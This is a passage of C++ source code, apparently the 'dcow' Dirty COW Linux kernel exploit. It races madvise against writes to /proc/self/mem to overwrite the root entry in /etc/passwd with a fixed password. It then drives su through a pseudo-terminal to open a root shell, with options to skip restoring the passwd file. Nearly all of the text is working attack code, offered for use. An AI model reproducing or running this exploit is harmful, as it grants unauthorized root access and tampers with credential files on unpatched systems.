82 | userId = getpwuid(getuid());
83 | user.append(userId->pw_name).append(":");
84 | extPwd = new ifstream(PWDFILE);
85 | while (getline(*extPwd, buffer)){
86 | buffer.append("\n");
87 | etcPwdBak.append(buffer);
88 | if(buffer.find(root) == 0){
89 | etcPwd.insert(0, root).insert(root.size(), pwd);
90 | etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(),
91 | buffer.begin() + buffer.find(":", root.size()), buffer.end());
92 | }else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){
93 | etcPwd.insert(0, buffer);
94 | }else{
95 | etcPwd.append(buffer);
96 | }
97 | }
98 | extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
99 | extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
100 | extPwdBak->close();
101 | fd = open(PWDFILE,O_RDONLY);
102 | map = mmap(NULL, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
103 | }
104 |
105 | Dcow::~Dcow(void){
106 | extPwd->close();
107 | close(fd);
108 | delete extPwd; delete extPwdBak;
109 | if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
110 | if(child != 0) wait(&wstat);
111 | }
112 |
113 | void Dcow::exitOnError(string msg){
114 | cerr << msg << endl;
115 | throw new exception();
116 | }
117 |
118 | int Dcow::result(int ret, bool shell){
119 | string msg = shell ? "Exit.\n" : string("Root password is: ") + TXTPWD + "Enjoy! :-)\n";
120 | if(ret <= MAXITER){cerr << msg; return 0;}
121 | else{cerr << "Exploit failed.\n"; return 1;}
122 | }
123 |
124 | void* madviser(void *par){
125 | Dcow* obj = reinterpret_cast(par);
126 | while(obj->run){ madvise(obj->map, obj->etcPwdBak.size(), MADV_DONTNEED);}
127 | return NULL;
128 | }
129 |
130 | void* writer(void *par){
131 | Dcow* obj = reinterpret_cast(par);
132 | int fpsm = open(PSM,O_RDWR);
133 | while(obj->run){ lseek(fpsm, reinterpret_cast(obj->map), SEEK_SET);
134 | obj->ign = write(fpsm, obj->etcPwd.c_str(), obj->etcPwdBak.size());
135 | }
136 | return NULL;
137 | }
138 |
139 | void* checker(void *par){
140 | Dcow* obj = reinterpret_cast(par);
141 | while(obj->iter <= MAXITER){
142 | obj->extPwd->clear();
143 | obj->extPwd->seekg(0, ios::beg);
144 | obj->buffer.assign(istreambuf_iterator(*(obj->extPwd)), istreambuf_iterator());
145 | if(obj->buffer.find(obj->pwd) != string::npos && obj->buffer.size() >= obj->etcPwdBak.size()){
146 | obj->run = false;
147 | break;
148 | }
149 | obj->iter ++;
150 | usleep(DEFSLTIME);
151 | }
152 | obj->run = false;
153 | return NULL;
154 | }
155 |
156 | int Dcow::expl(void){
157 |
158 | if(pthread_create(&madviseThr, NULL, madviser, reinterpret_cast(this)) != 0){
159 | cerr << "Can't create madviser thread" << endl;
160 | throw new exception();
161 | }
162 | if(pthread_create(&writerThr, NULL, writer, reinterpret_cast(this)) != 0){
163 | cerr << "Can't create writer thread" << endl;
164 | throw new exception();
165 | }
166 | if(pthread_create(&checkerThr, NULL, checker, reinterpret_cast(this)) != 0){
167 | cerr << "Can't create checker thread" << endl;
168 | throw new exception();
169 | }
170 |
171 | cerr << "Running ..." << endl;
172 | pthread_join(madviseThr, NULL);
173 | pthread_join(writerThr, NULL);
174 | pthread_join(checkerThr, NULL);
175 |
176 | if(iter <= MAXITER){
177 | child = forkpty(&master, NULL, NULL, NULL);
178 |
179 | if(child == -1) exitOnError("Error forking pty.");
180 |
181 | if(child == 0){
182 | execlp("su", "su", "-", NULL);
183 | exitOnError("Error on exec.");
184 | }
185 |
186 | if(opShell) cerr << "Password overridden to: " << TXTPWD << endl;
187 | memset(buffv, 0, BUFFSIZE);
188 | ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);
189 | if(bytes_read <= 0) exitOnError("Error reading su prompt.");
190 | cerr << "Received su prompt (" << buffv << ")" << endl;
191 |
192 | if(write(master, TXTPWD, strlen(TXTPWD)) <= 0)
193 | exitOnError("Error writing pwd on tty.");
194 |
195 | if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0)
196 | exitOnError("Error writing cmd on tty.");
197 |
198 | if(!opShell){
199 | if(write(master, EXITCMD, strlen(EXITCMD)) <= 0)
200 | exitOnError("Error writing exit cmd on tty.");
201 | }else{
202 | if(restPwd){
203 | string restoreCmd = string(CPCMD).append(TMPBAKFILE).append(" ").append(PWDFILE).append("\n");
204 | if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
205 | exitOnError("Error writing restore cmd on tty.");
206 | restoreCmd = string(RMCMD).append(TMPBAKFILE).append("\n");
207 | if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
208 | exitOnError("Error writing restore cmd (rm) on tty.");
209 | }
210 |
211 | if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
212 | exitOnError("Error getting terminal attributes.");
213 |
214 | termNew = termOld;
215 | termNew.c_lflag &= static_cast(~(ICANON | ECHO));
216 |
217 | if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
218 | exitOnError("Error setting terminal in non-canonical mode.");
219 | rawMode = true;
220 |
221 | while(true){
222 | FD_ZERO(&rfds);
223 | FD_SET(master, &rfds);
224 | FD_SET(STDIN_FILENO, &rfds);
225 |
226 | if(select(master + 1, &rfds, NULL, NULL, NULL) < 0 )
227 | exitOnError("Error on select tty.");
228 |
229 | if(FD_ISSET(master, &rfds)) {
230 | memset(buffv, 0, BUFFSIZE);
231 | bytes_read = read(master, buffv, BUFFSIZE - 1);
232 | if(bytes_read <= 0) break;
233 | if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)
234 | exitOnError("Error writing on stdout.");
235 | }
236 |
237 | if(FD_ISSET(STDIN_FILENO, &rfds)) {
238 | memset(buffv, 0, BUFFSIZE);
239 | bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);
240 | if(bytes_read <= 0) exitOnError("Error reading from stdin.");
241 | if(write(master, buffv, bytes_read) != bytes_read) break;
242 | }
243 | }
244 | }
245 | }
246 |
247 | return result(iter, opShell);
248 | }
249 |
250 | void printInfo(char* cmd){
251 | cerr << cmd << " [-s] [-n] | [-h]\n" << endl;
252 | cerr << " -s open directly a shell, if the exploit is successful;" << endl;
253 | cerr << " -n combined with -s, doesn't restore the passwd file." << endl;
254 | cerr << " -h print this synopsis;" << endl;
255 | cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;
256 | cerr << " A copy of the passwd file will be create in the current directory as .ssh_bak" << endl;
257 | cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;
258 | exit(1);
259 | }
260 |
261 | int main(int argc, char** argv){
262 | const char flags[] = "shn";
263 | int c;
264 | bool opShell = false,
265 | restPwd = argc != 1 ? true : false;
266 |
267 | opterr = 0;
268 | while ((c = getopt(argc, argv, flags)) != -1){
269 | switch (c){
270 | case 's':
271 | opShell = true;
272 | break;
273 | case 'n':
274 | restPwd = false;
275 | break;
276 | case 'h':
277 | printInfo(argv[0]);
278 | break;
279 | default:
280 | cerr << "Invalid parameter." << endl << endl;
281 | printInfo(argv[0]);
282 | }
283 | }
284 |
285 | if(!restPwd && !opShell && argc != 1){
286 | cerr << "Invalid parameter: -n requires -s" << endl << endl;
287 | printInfo(argv[0]);
288 | }
289 |
290 | Dcow dcow(opShell, restPwd);
291 | return dcow.expl();
292 | }
293 |
--------------------------------------------------------------------------------